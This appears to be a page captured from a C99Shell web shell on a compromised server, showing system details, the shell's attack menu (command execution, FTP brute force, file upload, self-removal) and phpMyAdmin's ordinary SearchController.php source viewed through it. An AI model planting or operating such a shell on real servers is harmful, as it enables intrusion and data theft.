!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/libraries/classes/Controllers/Table/   drwxr-xr-x
Free 83.29 GB of 96.73 GB (86.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SearchController.php (13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\Controllers\Table;

use 
PhpMyAdmin\Core;
use 
PhpMyAdmin\DatabaseInterface;
use 
PhpMyAdmin\DbTableExists;
use 
PhpMyAdmin\Operations;
use 
PhpMyAdmin\Relation;
use 
PhpMyAdmin\RelationCleanup;
use 
PhpMyAdmin\Response;
use 
PhpMyAdmin\Sql;
use 
PhpMyAdmin\Table\Search;
use 
PhpMyAdmin\Template;
use 
PhpMyAdmin\Transformations;
use 
PhpMyAdmin\Url;
use 
PhpMyAdmin\Util;
use function 
in_array;
use function 
intval;
use function 
mb_strtolower;
use function 
md5;
use function 
preg_match;
use function 
preg_replace;
use function 
str_ireplace;
use function 
str_replace;
use function 
strncasecmp;
use function 
strtoupper;

/**
 * Handles table search tab.
 *
 * Display table search form, create SQL query from form data
 * and call Sql::executeQueryAndSendQueryResponse() to execute it.
 */
class SearchController extends AbstractController
{
    
/**
     * Names of columns
     *
     * @access private
     * @var array
     */
    
private $columnNames;
    
/**
     * Types of columns
     *
     * @access private
     * @var array
     */
    
private $columnTypes;
    
/**
     * Types of columns without any replacement
     *
     * @access private
     * @var array
     */
    
private $originalColumnTypes;
    
/**
     * Collations of columns
     *
     * @access private
     * @var array
     */
    
private $columnCollations;
    
/**
     * Null Flags of columns
     *
     * @access private
     * @var array
     */
    
private $columnNullFlags;
    
/**
     * Whether a geometry column is present
     *
     * @access private
     * @var bool
     */
    
private $geomColumnFlag;
    
/**
     * Foreign Keys
     *
     * @access private
     * @var array
     */
    
private $foreigners;

    
/** @var Search */
    
private $search;

    
/** @var Relation */
    
private $relation;

    
/** @var DatabaseInterface */
    
private $dbi;

    
/**
     * @param Response          $response
     * @param string            $db       Database name
     * @param string            $table    Table name
     * @param DatabaseInterface $dbi
     */
    
public function __construct(
        
$response,
        
Template $template,
        
$db,
        
$table,
        
Search $search,
        
Relation $relation,
        
$dbi
    
) {
        
parent::__construct($response$template$db$table);
        
$this->search $search;
        
$this->relation $relation;
        
$this->dbi $dbi;

        
$this->columnNames = [];
        
$this->columnTypes = [];
        
$this->originalColumnTypes = [];
        
$this->columnCollations = [];
        
$this->columnNullFlags = [];
        
$this->geomColumnFlag false;
        
$this->foreigners = [];
        
$this->loadTableInfo();
    }

    
/**
     * Gets all the columns of a table along with their types, collations
     * and whether null or not.
     */
    
private function loadTableInfo(): void
    
{
        
// Gets the list and number of columns
        
$columns $this->dbi->getColumns(
            
$this->db,
            
$this->table,
            
null,
            
true
        
);
        
// Get details about the geometry functions
        
$geom_types Util::getGISDatatypes();

        foreach (
$columns as $row) {
            
// set column name
            
$this->columnNames[] = $row['Field'];

            
$type = (string) $row['Type'];
            
// before any replacement
            
$this->originalColumnTypes[] = mb_strtolower($type);
            
// check whether table contains geometric columns
            
if (in_array($type$geom_types)) {
                
$this->geomColumnFlag true;
            }
            
// reformat mysql query output
            
if (strncasecmp($type'set'3) == 0
                
|| strncasecmp($type'enum'4) == 0
            
) {
                
$type str_replace(','', '$type);
            } else {
                
// strip the "BINARY" attribute, except if we find "BINARY(" because
                // this would be a BINARY or VARBINARY column type
                
if (! preg_match('@BINARY[\(]@i'$type)) {
                    
$type str_ireplace('BINARY'''$type);
                }
                
$type str_ireplace('ZEROFILL'''$type);
                
$type str_ireplace('UNSIGNED'''$type);
                
$type mb_strtolower($type);
            }
            if (empty(
$type)) {
                
$type '&nbsp;';
            }
            
$this->columnTypes[] = $type;
            
$this->columnNullFlags[] = $row['Null'];
            
$this->columnCollations[]
                = ! empty(
$row['Collation']) && $row['Collation'] !== 'NULL'
                
$row['Collation']
                : 
'';
        }

        
// Retrieve foreign keys
        
$this->foreigners $this->relation->getForeigners($this->db$this->table);
    }

    
/**
     * Index action
     */
    
public function index(): void
    
{
        global 
$db$table$url_params$cfg$err_url;

        
Util::checkParameters(['db''table']);

        
$url_params = ['db' => $db'table' => $table];
        
$err_url Util::getScriptNameForOption($cfg['DefaultTabTable'], 'table');
        
$err_url .= Url::getCommon($url_params'&');

        
DbTableExists::check();

        
$this->addScriptFiles([
            
'makegrid.js',
            
'vendor/stickyfill.min.js',
            
'sql.js',
            
'table/select.js',
            
'table/change.js',
            
'vendor/jquery/jquery.uitablefilter.js',
            
'gis_data_editor.js',
        ]);

        if (isset(
$_POST['range_search'])) {
            
$this->rangeSearchAction();

            return;
        }

        
/**
         * No selection criteria received -> display the selection form
         */
        
if (! isset($_POST['columnsToDisplay'])
            && ! isset(
$_POST['displayAllColumns'])
        ) {
            
$this->displaySelectionFormAction();
        } else {
            
$this->doSelectionAction();
        }
    }

    
/**
     * Get data row action
     *
     * @return void
     */
    
public function getDataRowAction()
    {
        if (! 
Core::checkSqlQuerySignature($_POST['where_clause'], $_POST['where_clause_sign'])) {
            return;
        }

        
$extra_data = [];
        
$row_info_query 'SELECT * FROM ' Util::backquote($_POST['db']) . '.'
            
Util::backquote($_POST['table']) . ' WHERE ' $_POST['where_clause'];
        
$result $this->dbi->query(
            
$row_info_query ';',
            
DatabaseInterface::CONNECT_USER,
            
DatabaseInterface::QUERY_STORE
        
);
        
$fields_meta $this->dbi->getFieldsMeta($result);
        while (
$row $this->dbi->fetchAssoc($result)) {
            
// for bit fields we need to convert them to printable form
            
$i 0;
            foreach (
$row as $col => $val) {
                if (
$fields_meta[$i]->type === 'bit') {
                    
$row[$col] = Util::printableBitValue(
                        (int) 
$val,
                        (int) 
$fields_meta[$i]->length
                    
);
                }
                
$i++;
            }
            
$extra_data['row_info'] = $row;
        }
        
$this->response->addJSON($extra_data);
    }

    
/**
     * Do selection action
     *
     * @return void
     */
    
public function doSelectionAction()
    {
        global 
$PMA_Theme;

        
/**
         * Selection criteria have been submitted -> do the work
         */
        
$sql_query $this->search->buildSqlQuery();

        
/**
         * Add this to ensure following procedures included running correctly.
         */
        
$sql = new Sql(
            
$this->dbi,
            
$this->relation,
            new 
RelationCleanup($this->dbi$this->relation),
            new 
Operations($this->dbi$this->relation),
            new 
Transformations(),
            
$this->template
        
);

        
$this->response->addHTML($sql->executeQueryAndSendQueryResponse(
            
null// analyzed_sql_results
            
false// is_gotofile
            
$this->db// db
            
$this->table// table
            
null// find_real_end
            
null// sql_query_for_bookmark
            
null// extra_data
            
null// message_to_show
            
null// sql_data
            
$GLOBALS['goto'], // goto
            
$PMA_Theme->getImgPath(),
            
null// disp_query
            
null// disp_message
            
$sql_query// sql_query
            
null // complete_query
        
));
    }

    
/**
     * Display selection form action
     */
    
public function displaySelectionFormAction(): void
    
{
        global 
$goto$cfg;

        if (! isset(
$goto)) {
            
$goto Util::getScriptNameForOption(
                
$cfg['DefaultTabTable'],
                
'table'
            
);
        }

        
$this->render('table/search/index', [
            
'db' => $this->db,
            
'table' => $this->table,
            
'goto' => $goto,
            
'self' => $this,
            
'geom_column_flag' => $this->geomColumnFlag,
            
'column_names' => $this->columnNames,
            
'column_types' => $this->columnTypes,
            
'column_collations' => $this->columnCollations,
            
'default_sliders_state' => $cfg['InitialSlidersState'],
            
'max_rows' => intval($cfg['MaxRows']),
        ]);
    }

    
/**
     * Range search action
     *
     * @return void
     */
    
public function rangeSearchAction()
    {
        
$min_max $this->getColumnMinMax($_POST['column']);
        
$this->response->addJSON('column_data'$min_max);
    }

    
/**
     * Finds minimum and maximum value of a given column.
     *
     * @param string $column Column name
     *
     * @return array
     */
    
public function getColumnMinMax($column)
    {
        
$sql_query 'SELECT MIN(' Util::backquote($column) . ') AS `min`, '
            
'MAX(' Util::backquote($column) . ') AS `max` '
            
'FROM ' Util::backquote($this->db) . '.'
            
Util::backquote($this->table);

        return 
$this->dbi->fetchSingleRow($sql_query);
    }

    
/**
     * Provides a column's type, collation, operators list, and criteria value
     * to display in table search form
     *
     * @param int $search_index Row number in table search form
     * @param int $column_index Column index in ColumnNames array
     *
     * @return array Array containing column's properties
     */
    
public function getColumnProperties($search_index$column_index)
    {
        
$selected_operator = ($_POST['criteriaColumnOperators'][$search_index] ?? '');
        
$entered_value = ($_POST['criteriaValues'] ?? '');
        
//Gets column's type and collation
        
$type $this->columnTypes[$column_index];
        
$collation $this->columnCollations[$column_index];
        
$cleanType preg_replace('@\(.*@s'''$type);
        
//Gets column's comparison operators depending on column type
        
$typeOperators $this->dbi->types->getTypeOperatorsHtml(
            
$cleanType,
            
$this->columnNullFlags[$column_index],
            
$selected_operator
        
);
        
$func $this->template->render('table/search/column_comparison_operators', [
            
'search_index' => $search_index,
            
'type_operators' => $typeOperators,
        ]);
        
//Gets link to browse foreign data(if any) and criteria inputbox
        
$foreignData $this->relation->getForeignData(
            
$this->foreigners,
            
$this->columnNames[$column_index],
            
false,
            
'',
            
''
        
);
        
$htmlAttributes '';
        if (
in_array($cleanType$this->dbi->types->getIntegerTypes())) {
            
$extractedColumnspec Util::extractColumnSpec(
                
$this->originalColumnTypes[$column_index]
            );
            
$is_unsigned $extractedColumnspec['unsigned'];
            
$minMaxValues $this->dbi->types->getIntegerRange(
                
$cleanType,
                ! 
$is_unsigned
            
);
            
$htmlAttributes 'data-min="' $minMaxValues[0] . '" '
                            
'data-max="' $minMaxValues[1] . '"';
        }

        
$htmlAttributes .= ' onfocus="return '
                        
'verifyAfterSearchFieldChange(' $search_index ', \'#tbl_search_form\')"';

        
$value $this->template->render('table/search/input_box', [
            
'str' => '',
            
'column_type' => (string) $type,
            
'column_data_type' => strtoupper($cleanType),
            
'html_attributes' => $htmlAttributes,
            
'column_id' => 'fieldID_',
            
'in_zoom_search_edit' => false,
            
'foreigners' => $this->foreigners,
            
'column_name' => $this->columnNames[$column_index],
            
'column_name_hash' => md5($this->columnNames[$column_index]),
            
'foreign_data' => $foreignData,
            
'table' => $this->table,
            
'column_index' => $search_index,
            
'foreign_max_limit' => $GLOBALS['cfg']['ForeignKeyMaxLimit'],
            
'criteria_values' => $entered_value,
            
'db' => $this->db,
            
'in_fbs' => true,
        ]);

        return [
            
'type' => $type,
            
'collation' => $collation,
            
'func' => $func,
            
'value' => $value,
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0055 ]--